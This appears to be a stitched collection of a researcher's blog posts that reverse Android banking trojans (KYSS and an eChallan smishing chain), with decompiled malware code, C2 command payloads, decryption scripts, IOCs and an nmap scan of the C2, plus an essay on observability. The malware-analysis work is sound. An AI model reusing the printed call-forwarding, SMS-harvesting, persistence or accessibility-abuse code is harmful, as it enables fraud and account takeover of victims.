com.miui.powerkeeper - Xiaomi (MIUI/HyperOS)
com.coloros.oppoguardelf - OPPO (ColorOS)
com.heytap.safecenter - OPPO/OnePlus/realme (OPlus)
com.oplus.safecenter - OPPO/OnePlus/realme (OPlus)
com.oneplus.security - OnePlus (OxygenOS)
com.iqoo.secure - iQOO (Funtouch OS)
com.vivo.abe - vivo (Funtouch OS)
com.hihonor.systemmanager - HONOR (MagicOS)
com.asus.mobilemanager - ASUS (ZenUI)
com.motorola.batterycare - Motorola (My UX)
com.evenwell.powersaving.g3 - Nokia/FIH (Evenwell)
com.transsion.phonemanager - Transsion (TECNO/Infinix/itel)
com.zte.heartyservice - ZTE (MyOS)

The app abuses the Accessibility permission it gained to click through menus and grant itself call, SMS, gallery, camera, contacts and external storage permissions, and finally makes itself an admin app of the device, which can make it much more difficult to uninstall it.

The payment apps target

The server also sent down another interesting payload

{
   "action":"replacePinTargets",
   "fromAdmin":"s1783684248210_155355",
   "keywords":[
      "pay"
   ],
   "packages":[
      "jp.co.fukuibank.bankingappli",
      "jp.co.resona_gr.ss.SmartApp",
      "jp.co.rakuten.kc.rakutencardapp.android",
      "jp.japanpost.jp_bank.bankbookapp",
      "jp.co.surugabank.portal",
      "mx.intelifin.android.albo",
      "dif.tech.plata",
      "com.google.android.apps.walletnfcrel",
      "mx.klar.app",
      "com.mercadopago.wallet",
      "com.nu.production",
      "mx.bancosantander.supermovil",
      "ai.powerup.stori",
      "ar.com.bancar.uala",
      "com.grability.rappi",
      "gob.bancodelbienestar.bcobienapp",
      "com.gojek.gopa",
      "mx.com.miapp",
      "com.wallet.crypto.trustapp"
   ]
}

This is a list of payment apps used in Japan and Latin America (especially Mexico). It appears that the app would override these apps and likely display credential-stealing overlays.

Data Exfiltration, Interaction Logging and Uninstall Protection

The app receives commands from the C2 to exfiltrate the contents of the gallery and contacts from the victim's device.

{
    "action": "readAlbumList",
    "curpage": 1,
    "fromAdmin": "s1783683987269_154416",
    "pagesize": 100,
    "silent": true
}

{
    "action": "readContactList",
    "curpage": 0,
    "fromAdmin": "s1783683987269_154416",
    "pagesize": 500,
    "silent": true
}

The silent: true flag is the operator explicitly instructing the malware to perform exfiltration without triggering any visible notification or UI change on the victim's device. Since the analysis ran on an emulator with no saved contacts or images, the commands were observed being received and decrypted, confirming the capability exists at the operator level. Execution on a live device with real data is a separate matter.

The abuse of the Accessibility permission goes further than just granting itself permissions. The interaction logger built on top of it captures text input character by character, along with the package name, input field ID, and view class for every field the victim types in. Testing this by typing in the Messages app confirmed it immediately.

{
    "k": "keylog_t_com.google.android.apps.messaging_com.google.android.apps.messaging:id/compose_message_text",
    "pkg": "com.google.android.apps.messaging",
    "cls": "android.widget.MultiAutoCompleteTextView",
    "type": "keylog",
    "text": [
        "This is a test for exfiltration"
    ]
}

It doesn't stop at text fields. Click events across apps are logged the same way, with package context and view class attached -- keylog_c_* entries were firing from com.android.camera2 and com.nexuslauncher without any text input involved. Every interaction on the device is being reported back.

Finally, the Accessibility permission is also used to block the victim from reaching the app's own settings page. Two anti_uninstall intercepts were observed:

{
    "type": "anti_uninstall",
    "msg": "BLOCKED|path=content_settings|pkg=com.android.settings"
}


{
    "type": "anti_uninstall",
    "msg": "BLOCKED|path=app_detail|pkg=com.android.settings|cls=com.android.settings.applications.InstalledAppDetailsTop"
}

Navigating to Settings or directly to the app's detail page gets intercepted and blocked. Combined with Device Admin privileges, removing this app from an infected device without ADB access would be non-trivial for an average user.

With the on-device behavior fully mapped, I turned my attention to where this data was being sent.

Infrastructure

With the C2 domain identified from the network hooks, I ran it through VirusTotal.

The domain was registered on 5th May 2026 through GoDaddy, with privacy protection enabled. At the time of analysis, it was flagged by 15 out of 91 vendors, tagging it as phishing and fraud. The passive DNS records showed 3 distinct IPs the domain has resolved to since registration.

The domain seems to have flown completely clean on the first two IPs. The operation was probably started early in May and operated undetected for nearly 2 months before any detection.

The Panel

A reverse IP lookup of the current IP, along with the historical SSL certificates section in VT surfaced a new domain running on the same server. Browsing to it over HTTPS revealed what appears to be the operator's C2 panel, a Chinese language web application branded "V2 Panel" announcing it is built with React and Ant Design. A login page with username and password fields, nothing else is exposed.

The DMARC record of the co-hosted domain lists dmarc_rua@onsecureserver.net as the aggregate report address. The domain itself was registered on the 28th of June 2026.

The Chinese-language panel UI, combined with the English and Chinese social engineering page served to victims and the catAllViewSwitch payload covering Japanese and Latin American targets, points to a Chinese-speaking threat actor operating commercial-grade Android banking malware infrastructure on a global targeting mandate.

At the end of it all, none of the technical sophistication matters as much as the kiss mark icon. The entire chain: the overlays, the interaction logger, the accessibility automation navigating through OEM settings menu in more than 40 languages, all sit behind a single moment when someone sees an icon which catches their attention and taps on it. The malware doesn't have to be too clever if the lure is good enough. KYSS is a reminder that the defences are always only as strong as the weakest link.

Update: IOCs and Additional Infrastructure

Following publication, Rajhans P pointed to a FOFA fingerprint querying V2 Panel by icon hash and title, which returns 48 indexed instances. This confirms that V2 Panel is a commercial platform with multiple operators, not infrastructure purpose-built for this campaign alone.

Since the C2 infrastructure is now publicly indexed, full IOCs are being published below.

Historical SSL Thumbprints (SHA-1):

Detection count has also increased to 17/91 since publication.

I spent the better part of the last few weeks doing exactly that. During the day I was shipping features and deciding effective logging strategies for Beacon, an attendance management app that I am building. In the evenings, I was pulling apart Android Malware sample from a smishing campaign, tracing through obfuscated DEX bytecode trying to understand what the app did.

At some point, the two started bleeding into each other; not because the problems are similar on the surface, but because the discipline underneath them is identical. The malware authors were solving similar engineering problems as me, they just had the opposite intention.

What the Malware Authors got right

A striking observation from reversing a multi-stage malware sample was that it doesn't simply run, it checks first.

Before any payload logic executes, there's an environment validation routine. Is this a real device or an emulator? Is there a debugger attached? Are there any hooking frameworks like Frida or Xposed present in the process? Each check contributed to a score, which on exceeding a certain threshold causes the payload to abort cleanly.

This isn't paranoia. The authors know that their payload will land on thousands of devices across a wide range of devices. They do all they can to delay an analyst from identifying how the app runs. Nearly all the methods performing these checks had no logging at all.

On the other hand, the functions executing the core logic of the malware was fairly sprinkled with logging statements. The malware was built to function correctly on a wide range of devices, with certain code branches for devices running even on Android 7.

The functions themselves were cleanly separated with SRP, ensuring that result of every operation could be checked by the orchestrating function while also preserving the modularity of the code.

The authors had also added background services which randomly ran to check if their installed listeners and services are still running, and re-starting them if not so.

By the time I mapped this out, I had a grudging appreciation for the craft. These are real engineering decisions made deliberately, in service of a clear goal. The goal is malicious. The decisions. though are not sloppy.

The SRE mirror

I do not have production incidents in my history. I have not been paged at 3am, I have not stared at a spiking dashboard while a service falls over. But as I was mapping out the malware's anti-observability decisions, I got curious about what the discipline looked like from the other side, the people whose entire job is reconstructing what went wrong.

It turns out the vocuablury is different, but the problem is identical.

SRE teams usually work off three signals. Metrics tell you something is wrong. Logs tell you what a specific service did at a specific moment. Traces tell you where in a requests path things broke down. None of these alone tell anything useful. A CPU spike with no trace showing which request caused it is just a number. Stitching the three together under pressure, while things are still on fire is where the actual works happens.

There is also a fourth signal that apparently not enough teams track properly: events. Deploys, config changes, feature flags being flipped etc. Most teams let this live scattered across Slack messages and CI logs with nothing tying it to anything else. Almost every incident starts with the same question: what changed right before this happened? Events are very useful to answer these questions.

The parallel to what I was looking at was hard to miss. The malware authors had built their payload to generate as few events as possible. Randomized polling intervals so the heartbeat does not look mechanical. No exception logging in the anti-analysis layer. Clean aborts with no trace when the environment check fails. They were engineering against observability the same way SRE practice engineers for it.

AI helped me on the malware side in a specific, limited way. Reasoning through obfuscated code across dozens of DEX files, surfacing patterns across classes, cross-referencing decrypted strings. Work that would have taken much longer got done faster. But every conclusion I arrived at was still mine to make. AI cleared the ground. The jump was still manual.

From what I read, the same holds on the SRE side. AI in incident response is good at retrieval: digging through past incidents, correlating alerts, surfacing similar failures. The judgment call, deciding what the evidence means, remains on a person. The honest version of the AI claim is that it compresses what one person can reconstruct alone. It does not replace the reconstruction.

What I'm stealing for Beacon

Beacon is not a complex system. It is an attendance and workforce management app for remote-field workers, a Go backend, an Android client, a web admin panel. The failure modes are not dramatic. But they are real, and I have already been caught by a few of them.

The events signal is the one that stuck with me most. When something broke in Beacon during development, my first instinct was always to go look at logs. Logs told me what happened. They almost never told me what changed. I had no systematic way of tracking the things that actually cause most failures: a config value I updated, a dependency I bumped, a background job I modified. That information lived in my head or in a commit message I had to go dig up.

The malware authors were deliberate about the opposite. They knew exactly what their payload was doing at every point, because they designed it that way. Every action was intentional and accounted for. I was trying to reconstruct intent from fragments. I do not want to be in that position with my own system.

The second thing is graceful degradation. The malware was built to fail quietly and contained. A failed check did not crash the app. It returned a result, the orchestrating function handled it, and execution continued or aborted cleanly depending on the score. No noise, no collateral damage.

Beacon does not do this consistently yet. Some failure paths are handled well. Others surface as unhandled exceptions that tell me something broke but not what, or why, or what state the system was in when it did. That is the next thing I am fixing.

The irony is not lost on me. I learned more about building observable, resilient systems from reversing malware than from any SRE playbook. The authors were not trying to teach me anything. They were trying to avoid being understood. It worked, for a while. But the discipline they applied to staying hidden is the same discipline I want to apply to staying legible

A note

This article started as a conversation with Ayush More from Sherlocks AI, who reached out after reading some of my earlier writing. When I pitched this angle, he put together a genuinely useful set of notes on how SRE teams approach observability and incident reconstruction, which filled in the other side of the parallel I was trying to draw. If the SRE mirror section holds up, a good part of the credit goes to him for grounding it in something real. Go check out what they are building at Sherlocks AI if incident response tooling is relevant to your world.

Stage 4 is what I'm going to pick apart today. It's the final boss, and it's the one that actually does the damage. It also had a surprise waiting for me that I didn't expect to find.

Plain class names, new cipher for the strings

The first thing that surprised me when I opened Stage 4 in JADX was how readable the class names were. After three stages of obfuscated everything, I was expecting more of the same. Instead:

AdminInfo, SmsHelper, TelegramBotUtils, callForwardingUtility more or less announce what they do. WallpaperUploader is the exception; whatever it was supposed to do, it's empty. More on that later.

The presence of SketchApplication, SketchLogger, and SketchwareUtil is the other thing worth noting upfront. Sketchware is a visual drag-and-drop editor for building Android apps. Someone built a banking trojan in a drag-and-drop IDE. I'll let that sink in.

Cracking the new obfuscation: StringFog

The class names were readable, but the strings inside them weren't. The author switched obfuscation libraries between the loader stages and Stage 4. This time it's StringFog, an off-the-shelf library that encrypts string literals at compile time and decrypts them at runtime.

I noticed this the moment I opened AdminInfo. Instead of raw string literals, every string was a call into StringFogImpl. Opening that class gave me the implementation.

The outer layer is a short[] array (call it f928short) with thousands of entries. Each string is encoded as an offset, length, and XOR key into that array. Decoding a short-array entry gives you a base64 ciphertext. That ciphertext is then passed to the inner StringFog XOR function, which decodes the base64 and XORs each byte against the key "UTF-8" (yes, the literal string UTF-8, recovered from StringFogImpl's own f928short).

Two layers, both XOR, different keys. The chain is: short_decryptor(offset, length, xor_key) produces a base64 ciphertext, which then goes into stringfog_decrypt(ciphertext, "UTF-8") to produce plaintext.

I updated my decryption script to chain both:

import base64
import sys

short_array = [
    # redacted for brevity
]

def xor(byte_array, string):
    result = bytearray()
    for i in range(len(byte_array)):
        result.append(byte_array[i] ^ ord(string[i % len(string)]))
    return result

def stringfog_decrypt(encrypted_string, stringfog_key):
    base_64_bytes = base64.b64decode(encrypted_string)
    decrypted_bytes = xor(base_64_bytes, stringfog_key)
    return decrypted_bytes.decode("utf-8")

def stringfog_decrypt_wrapper(encrypted_string):
    stringfog_key = "UTF-8"
    return stringfog_decrypt(encrypted_string, stringfog_key)

def short_decryptor(offset, length, xor_key):
    decrypted_bytes = bytearray()
    for i in range(offset, offset + length):
        decrypted_bytes.append(short_array[i] ^ xor_key)
    return decrypted_bytes.decode("utf-8")

if __name__ == "__main__":
    offset = int(sys.argv[1])
    length = int(sys.argv[2])
    xor_key = int(sys.argv[3])
    decrypted_string = short_decryptor(offset, length, xor_key)
    print(stringfog_decrypt_wrapper(decrypted_string))

Instead of hardcoding values and rerunning the script each time, I now pass the offset, length, and XOR key as command-line arguments and decrypt a whole class worth of strings in one sitting. From here on, all strings in this writeup are their decrypted plaintext values.

The account-takeover engine

AdminInfo: the config reader

AdminInfo reads a JSON file bundled in the app's raw resources and extracts Telegram bot tokens and chat IDs from it. This is the actor's operator config, the contact details for wherever exfiltrated data gets sent.

From within the bundled file, I found, in plaintext:

{
  "chatIDs": ["5196<REDACTED>"],
  "tokens": ["6751695148:AAHEY<REDACTED>"],
  "workSuccess": 1
}

The HTML page embedded in the APK's resources told the same story. It masquerades as a legitimate eChallan payment portal: Government of India emblem, Ministry of Road Transport branding, the works.

The flow is: victim enters their full name, mobile number, mother's name, and date of birth (that last pair being classic forgot-password security question answers)

Then the user proceeds to a fake Aadhaar and PAN verification step, is shown a ₹1 payment screen with a mocked UPI interface, enters their UPI PIN, and finally sees a "Transaction Error."

After the error, they're prompted to enter their card details.All of this is exfiltrated to a hardcoded Telegram bot in the page's JavaScript.

The "Challan" is for Re. 1. The ask is your Aadhaar, PAN, UPI PIN, and card number.

TelegramBotUtils: one-way exfil

TelegramBotUtils handles the Telegram side of things. It has all the methods you'd expect for sending messages and device info to a bot, and notably none for receiving. There's no polling, no webhook handler in this class. Telegram is outbound-only here. Commands come from somewhere else entirely.

SmsReceiver and SMSRetriever: the OTP siphon

SmsReceiver registers for two intents: incoming SMS and outgoing SMS sent. When either fires, it logs the sender, message body, and timestamp to Firebase, and also conditionally forwards the message to a number stored in SharedPreferences if the isSmsForward flag is set.

SMSRetrieveris the proactive version. On initialization, it queries the SMS inbox directly, up to 50 messages, filtered against a list of about 29 keywords covering banking terms, OTP-related strings, and financial service names. If a message matches, it gets pushed to Firebase. This is how the actor harvests existing OTPs and balance notifications even before the victim receives a new one.

callForwardingUtility: USSD based call-forwarding

callForwardingUtility is more interesting than I initially expected. I was anticipating a single USSD call to set forwarding and that's it. The actual code is a full three-method interface:

public boolean forwardCall(String str, int i) {
    if (!hasPermission()) {
        Log.e(TAG, StringFogImpl.decrypt(...));
        return false;
    }
    executeUSSD("**21*" + str + "#", i);
    return true;
}

public boolean deactivateCallForwarding(int i) {
    if (!hasPermission()) {
        Log.e(TAG, StringFogImpl.decrypt(...));
        return false;
    }
    executeUSSD("##21#", i);
    return true;
}

public boolean isCallForwardingActive(int i) {
    if (!hasPermission()) {
        Log.e(TAG, StringFogImpl.decrypt(...));
        return false;
    }
    executeUSSD("*#21#", i);
    return true;
}

*21# is the GSM MMI code for unconditional call forwarding. ##21# deactivates it. *#21# queries whether it's currently active. The actor isn't just blindly enabling forwarding and walking away; they can check status and toggle it on and off remotely via the Firebase C2 channel. This is deliberate operational control over a victim's phone line.

It's a silent way of taking over calls without a notification or UI.

Combined with SMS interception, this gives the actor full control of two-factor authentication: OTPs via SMS go to Firebase, voice OTPs go to the forwarded number. Every account recovery path is compromised at once.

The main C2 infrastructure: Firebase (and what I found there)

This is the part I want to spend more time on, because finding an active C2 server with real victim data in it is not something I expected from what started as a curiosity-driven triage.

BatteryLevelReceiver was what tipped me off first. It waits for battery level changes and writes the current level to Firebase. That's a passive heartbeat: a device that just updated its battery level is currently powered on and active. The actor can poll Firebase and get a live map of which infected devices are online right now.

The Firebase credentials (database URL, app ID, API key) are not in the DEX strings. I was used to finding them in strings.xml in the res folder, but they were in res/values/strings.xml inside the decoded resources.arsc. JADX doesn't expose the unpacked resource strings; I had to run apktool d on the APK to get them. I'm not publishing the project identifier here since takedown is pending.

MyService is where the full exfiltration routine lives. Its onCreate fingerprints the device (android ID, model, Android version, SIM info, rooted status), pushes that fingerprint to Firebase under /clients/<device-id>, registers BatteryLevelReceiver, runs SMSRetriever to harvest the inbox, and hands off to callForwardingUtility. It then creates a persistent foreground notification and schedules a repeating alarm every 5 minutes to check if the service is still running.

public class MyService extends Service {
/* Redacted for brevity */
 @Override // android.app.Service
    public void onCreate() {
        super.onCreate();
        this.executorService = Executors.newSingleThreadExecutor();
        try {
            initializeFirebase(this);
            this.deviceInfoUtil = new DeviceInfoUtil(this);
            this.prefs = new SharedPrefManager(this);
            this.smsRetriever = new SMSRetriever(this);
            this.callUtil = new callForwardingUtility(this);
            this.deviceID = Settings.Secure.getString(getContentResolver(), "android_id");
            this.batteryLevelReceiver = new BatteryLevelReceiver();
            registerReceiver(this.batteryLevelReceiver, new IntentFilter("android.intent.action.BATTERY_CHANGED"));
            checkAndRequestPermissions();
            createNotificationChannel();
            startForeground(1, buildPersistentNotification());
            scheduleAlarm(this);
            Log.d(TAG, StringFogImpl.decrypt(C0156.m615(f1692short, 2476, 40, 1746)));
        } catch (Exception e) {
            Log.e(TAG, StringFogImpl.decrypt(C0270.m1053(f1692short, 2516, 36, 878)), e);
            stopSelf();
        }
    }
/* Redacted for brevity */
}

The inbound command channel is a ValueEventListener on /clients/<device-id>/webhookEvents. JADX didn't fully decompile the handler, but the decrypted strings inside it tell enough of the story:

checkLiveness
processResponseData
callForward
CallForwardingNum
Invalid callForward data: 'to' field is null or empty
Incomplete callForward fields. No callForward data found.
smsForward

The actor pushes a command to a device's webhookEvent node in Firebase, and MyService picks it up via the realtime listener. Commands configure call forwarding (passing through to callForwardingUtility), toggle SMS forwarding, and ping devices to check liveness. Firebase is doing double duty: it's both the data exfiltration sink and the command-and-control channel, bidirectional over a single Realtime Database instance.

What I found when I looked

I was prodding the Firebase endpoints to check if the infrastructure was still live. It was. Very much so, with records as recent as July 3rd.

Using the Firebase shallow query API, I pulled just the schema of the stored data without fetching actual values:

{
  "dateTime": true,
  "id": true,
  "message": true,
  "sender": true,
  "type": true
}

{
  "battery": true,
  "status": true
}

The device records from MyService's init code also carry model, androidVersion, android_id, isRooted, serviceProvider, and selfNumber, though the schema is sparse across records since Firebase doesn't enforce one.

As of July 8th 2026: 3,967 device registrations. 4,900 exfiltrated SMS records.

I stopped there. Pulling actual records would have meant reading real victim data, and that's not something I was going to do. I reported to CERT-In, filed a Google Cloud abuse report, and reported the matter to the I4C. The original phishing link was taken down, while the Firebase instance is a matter for Google and the relevant authorities now.

Persistence and stealth

Three receivers make sure MyService never stays dead for long.

BootReceiver fires on BOOT_COMPLETED and starts MyService as a foreground service on Android 8+, with a fallback startService call for older versions.

MultiEventReceiver is the belt-and-suspenders version. It listens for 16 different system events (connectivity changes, power state transitions, time zone changes, and more) and restarts MyService if it's not already running. It also re-arms the 5-minute watchdog alarm.

AlarmReceiver handles those watchdog alarms. Every 5 minutes, it checks if the service is running and starts it if not.

DebugActivity is worth a separate mention. It maps internal crash strings to friendly AlertDialog messages, so if something goes wrong on a victim's device, they see a polished error dialog instead of an Android crash report. It's a surprising customer experience improvement for a banking trojan.

Signs of a rushed build

Two things stood out as unfinished.

WallpaperUploader is empty. The class exists, it's referenced, and it does nothing. Whatever capability was planned there, it wasn't implemented.

C0273 is a cipher class with a fundamental bug. The encryption key is generated with Math.random(), which in Java is not cryptographically random and is not seeded or stored anywhere. Every call produces a different key with no way to reverse the operation. The class is non-functional as written.

Neither of these diminish what the rest of the app does. But together they suggest this was shipped under time pressure.

The full chain, end to end

SMS phishing
  -> echallan-traffic.live/IN (down as of July 5)
  -> ca8818e7_RT0-eChallan.apk (com.uptodown.installer)
  -> Stage 1: XOR + HMAC-SHA256/dg_hmac_v2 + AES-CBC -> multi-DEX loader
  -> Stage 2: com.stream.media.player
             Flask C2 @ 31.77.168.247:5001 (Germany)
             /prepare -> /status -> /fetch
             AES-256 ZIP @ V3nd3tt@S3cur3Z1p!
  -> Stage 3: app.loitx.aknmk (dropper-as-a-service SDK, Stage 1 clone)
  -> Stage 4: dApp.binance.Trading.Signals
             65 DEX, ~13MB, Sketchware build
             StringFog obfuscation (short[] XOR -> base64 -> UTF-8 XOR)
             Firebase RTDB: bidirectional C2 + exfil sink (pending takedown)
             Telegram exfil: 6751695148:AAHEY<REDACTED>
             HTML phishing page (Aadhaar, PAN, UPI PIN, card details)
             SMS interception + inbox harvest (50 msgs, 29 keywords)
             Call forwarding via **21*<number># with remote toggle

IOCs

# Stage 4 package
Package:              dApp.binance.Trading.Signals
Build tool:           Sketchware
Obfuscation:          megatronking/StringFog
StringFog key:        UTF-8

# Firebase (project identifier withheld pending takedown)
DB path (devices):    /clients/<device-id>/
DB path (commands):   /clients/<device-id>/webhookEvent
DB path (SMS):        /messages/<device-id>/<timestamp>/

# Telegram (Stage 4 AdminInfo)
Token:                6751695148:AAHE<REDACTED>
Chat ID:              5196<REDACTED> (individual)

# Telegram (phishing page HTML)
Token:                8614832729:AAFu-<REDACTED>
Chat ID:              -10038<REDACTED> (group)

If you got an SMS about an outstanding RTO challan with a download link, report it at cybercrime.gov.in.

Cracking the container

Here's a brief recap of the elaborate integrity-check and decryption routine of the payload as executed by the app.

The app first XOR'd the binary blob from the app assets with a hardcoded key, following which it handed off control to a method which first constructed a HMAC key using a hardcoded byte array, and a hardcoded salt. Upon passing the integrity check, the payload was decrypted with AES-CBC, and the resulting plaintext was checked to be a multi-DEX container.

Here's a python script which I wrote to emulate the same routine

import hashlib
import hmac
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import struct
import sys
import os

#---------------------------------------------------
# Key material directly from the decompiled APK
xor_java_key = [108, 41, 58, 17, -66, 107, -18, 80, 127, 9, -123, 127, 101, -41, 23, 108]
seed_java_key = [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]
iv_java = [110, -34, 48, 14, -9, -11, 10, 74, -39, -83, 117, 47, 20, 49, -106, -117]

# Convert from Java signed bytes to Python unsigned bytes
XOR_KEY  = bytes(b & 0xFF for b in xor_java_key)
SEED_KEY = bytes(b & 0xFF for b in seed_java_key)
AES_IV   = bytes(b & 0xFF for b in iv_java)

#---------------------------------------------------

# Stage 1: XOR decrypt
def xor_decrypt(data: bytes) -> bytes:
	return bytes(data[i] ^ XOR_KEY[i % len(XOR_KEY)] for i in range(len(data)))
	
#---------------------------------------------------
# Stage 2: HMAC verification
def compute_derived_key(key: bytes)->bytes:
	h = hashlib.sha256()
	h.update(key)
	h.update(b"dg_hmac_v2")
	return h.digest()
	
def validate_hmac(data: bytes) -> bytes:
    if len(data) < 33:
        raise RuntimeError("payload too short (<33 bytes)")
    expected_sig = data[:32]
    payload      = data[32:]
    derived      = compute_derived_key(SEED_KEY)
    computed     = hmac.new(derived, payload, hashlib.sha256).digest()
    if not hmac.compare_digest(computed, expected_sig):
        raise RuntimeError("HMAC validation failed")
    return payload
    
#---------------------------------------------------
# Stage 3: AES-CBC decrypt
def aes_decrypt(payload: bytes)-> bytes:
	cipher = AES.new(SEED_KEY, AES.MODE_CBC, AES_IV)
	return unpad(cipher.decrypt(payload), AES.block_size)
	
#---------------------------------------------------
# Stage 4: multi-DEX container validation
def bytes_to_int_le(data:bytes,offset:int)->int:
	return struct.unpack_from("<I", data, offset)[0]
	

def is_valid_multidex_container(data: bytes) -> bool:
    if not data or len(data) < 8:
        return False
    dex_count = bytes_to_int_le(data, 0)
    if dex_count <= 0 or dex_count > 100:
        return False
    offset = 4
    for i in range(dex_count):
        payload_offset = offset + 4
        if payload_offset > len(data):
            return False
        dex_size = bytes_to_int_le(data, offset)
        if dex_size <= 0 or dex_size > len(data) - payload_offset:
            return False
        # check dex\n magic
        if data[payload_offset:payload_offset+4] != b"dex\n":
            return False
        offset = payload_offset + dex_size
    return True
    
#---------------------------------------------------
# Stage 5: extract individual DEX files

def extract_dex_files(data: bytes, out_dir: str) -> int:
    dex_count = bytes_to_int_le(data, 0)
    offset = 4
    os.makedirs(out_dir, exist_ok=True)
    for i in range(dex_count):
        dex_size = bytes_to_int_le(data, offset)
        payload_offset = offset + 4
        dex_data = data[payload_offset:payload_offset + dex_size]
        out_path = os.path.join(out_dir, f"classes{i+1}.dex")
        with open(out_path, "wb") as f:
            f.write(dex_data)
        print(f"  [{i+1}/{dex_count}] {out_path}  ({dex_size:,} bytes)")
        offset = payload_offset + dex_size
    return dex_count
    
#---------------------------------------------------
# Main 

def main()
	input_file = sys.argv[1] if len(sys.argv) > 1 else "r_4dfb.bin"
    out_dir    = sys.argv[2] if len(sys.argv) > 2 else "extracted_dex"
    
    with open(input_file, "rb") as f:
	    raw = f.read()
	print("Stage 1: XOR decrypt")
	xor_decrypted = xor_decrypt(raw)
	
	print("Stage 2: HMAC-SHA256 verify")
	hmac_payload = validate_hmac(xor_decrypted)
	print("HMAC ok")
	
	print("Stage 3: AES-CBC decrypt")
	decrypted = aes_decrypt(hmac_payload)
	print("Decryption ok")
	
	print("Stage 4: multi-DEX container validation")
	if not is_valid_multidex_container(decrypted):
		raise RuntimeError("invalid multi-DEX container")
	dex_count = bytes_to_int_le(decrypted, 0)
	print(f"{dex_count} valid DEX file(s) found")
	
	print("Stage 5: Extracting DEX files")
	count = extract_dex_files(decrypted, out_dir)
	print(f"Extracted {count} DEX files")
	
if __name__=="__main__":
	main()

This finally gave me a file, which, fingers crossed was a DEX file

litmus in ~/CTFs/MalwareAnalysis/extracted_dex λ file classes1.dex
classes1.dex: Dalvik dex file version 035

Yay!

First Look Inside: Class Inventory

jadx-gui was the next obvious tool. I opened it up, and I was surprised! Unlike the stage-1 APK file, the DEX file didn't have obfuscated class names, which made it quite readable from the start.

This was a blessing in disguise, since DEX classes don't have methods like attachBaseContext(), it would be a herculean task trying to manually sift through all the classes trying to isolate the starting point for the investigation.

The names of the DEX classes, such as DnsFilterService, VpnBootReciever indicate that the app might try to set up a VPN service to try and snoop on the network traffic of the device.

The AccessChecker and AccessMonitor classes sound like they might be exploiting the Accessibility service provided by Android to create overlays on screens, and/or capture arbitrary user input.

The EndpointConfig file sounds like something which would point me towards the C2 infrastructure of the threat actor.

MediaProvider and MediaCore sound like files which might contain the core logic of the malware, masquerading under the Media player guise, like the app itself.

All of these signs smell of an infostealer, but what it really is, only analysis will tell

Let's go hunting! Low hanging fruit first

AccessChecker and AccessMonitor: The Accessibility Trap

A huge thanks to my friend Harin, who volunteered to dig into these two while I was busy chasing the C2 infrastructure. Turns out, my initial read wasn't far off, but the reality was a bit more sinister than a simple overlay attack.

AccessMonitor runs a polling loop every 2 seconds, checking two conditions: whether the payload has been installed (j()), and whether accessibility services have been enabled (h()). If either check fails and the counter hasn't hit 150 (that's 5 minutes of polling), it simply reschedules itself and tries again.

Runnable runnable = new Runnable() {
    public void run() {
        counter++;

        if (setupAlreadyComplete) {
            stopSelf();
            return;
        }

        boolean installed = j();
        boolean accessibility = h();

        if (installed && accessibility) {
            NotificationHelper.updateNotification(...);
            savePreference("access_enabled", true);
            postDelayed(() -> {
                k();
            }, 2000);
            return;
        }

        if (counter >= 150) {
            stopSelf();
            return;
        }

        postDelayed(this, 2000);
    }
};

Once both conditions are satisfied, it calls k(), which launches WebsiteActivity in the foreground with flags that push it over everything else on screen — effectively locking the user out until the setup is complete.

public final void k() {
    m();
    NotificationHelper.sendFinalNotification(...);

    postDelayed(new Runnable() {
        public void run() {
            Intent intent = new Intent(
                AccessMonitor.this,
                WebsiteActivity.class
            );
            intent.addFlags(...);
            startActivity(intent);
            NotificationHelper.sendFinalNotification(...);
            stopSelf();
        }
    }, 1500);
}

So AccessChecker is less of a monitor and more of a hostage situation, the user is shown WebsiteActivity in the foreground, unable to interact with anything else, until they grant accessibility permissions. At that point, the malware considers setup done and moves on.

EndpointConfig: Finding the C2

The first glance at the EndpointConfig file shows a set of very interesting methods, and even more interesting, was the change in the method signature of the decryption routine used by the author. Unlike the previous APK, I thought the author finally changed their encryption method from the XOR technique used abundantly before.

The current decryption routine was

public static String stringDecryptXORFromArray(short[] cipherText, int offSet, int length, int XORKey) {
        char[] cArr = new char[length];
        for (int counter = 0; counter < length; counter++) {
            cArr[counter] = (char) (cipherText[offSet + counter] ^ XORKey);
        }
        return new String(cArr);
    }

Looks like I praised the author too soon. This is still an XOR cipher, but instead of having a lot of byte arrays all over the place, this time they seemed to have created giant arrays of short for each class, and used a combination of offset and length to get the strings they need.

Naturally, the next step was to create a script which would help me decrypt this.

import sys
def stringDecryptXORFromArray(
    s_arr: list[int], start: int, length: int, xor_key: int
) -> str:
    chars = []

    for offset in range(length):
        value = s_arr[start + offset] ^ xor_key
        chars.append(chr(value))

    return "".join(chars)


if __name__ == "__main__":
    s_arr = [ 
		# Redacted for brevity    
    ]
    start = int(sys.argv[1])
    length = int(sys.argv[2])
    xor_key = int(sys.argv[3])    

    decrypted_string = stringDecryptXORFromArray(s_arr, start, length, xor_key)
    print(decrypted_string)

The first variable I decrypt reveals an endpoint! (http://31[.]77[.]168[.]247:5001)

Looks like we have our first piece to mapping the C2 Infrastructure. The other variables don't reveal much, just default timeout values and comments. There is a method called getMirrorURL, but it returns the same endpoint.

Checking the IP address on AbuseIPDB shows it as benign.

I will report the IP address once I establish that it is being used maliciously. The domain name of qwins.co, which is a Russian bulletproof hosting provider provides a strong signal of malicious activity.

Let's do some recon of the infrastructure!

Infrastructure Recon

As any cybersecurity student would, I ran a limited nmap scan over torsocks, which revealed the following results

litmus in ~ λ torsocks nmap -F -sT 31.77.168.247 -vvv --system-dns 2>/dev/null
Starting Nmap 7.92 ( https://nmap.org ) at 2026-06-26 11:35 IST
Initiating Ping Scan at 11:35
Scanning 31.77.168.247 [2 ports]
Completed Ping Scan at 11:35, 0.30s elapsed (1 total hosts)
Initiating System DNS resolution of 1 host. at 11:35
Completed System DNS resolution of 1 host. at 11:35, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: System [OK: 1, ??: 0]
Initiating Connect Scan at 11:35
Scanning vm163609.hosted-by.qwins.co (31.77.168.247) [100 ports]
Discovered open port 22/tcp on 31.77.168.247
Connect Scan Timing: About 18.00% done; ETC: 11:38 (0:02:21 remaining)
Discovered open port 80/tcp on 31.77.168.247
Discovered open port 8081/tcp on 31.77.168.247
Completed Connect Scan at 11:37, 80.99s elapsed (100 total ports)
Nmap scan report for vm163609.hosted-by.qwins.co (31.77.168.247)
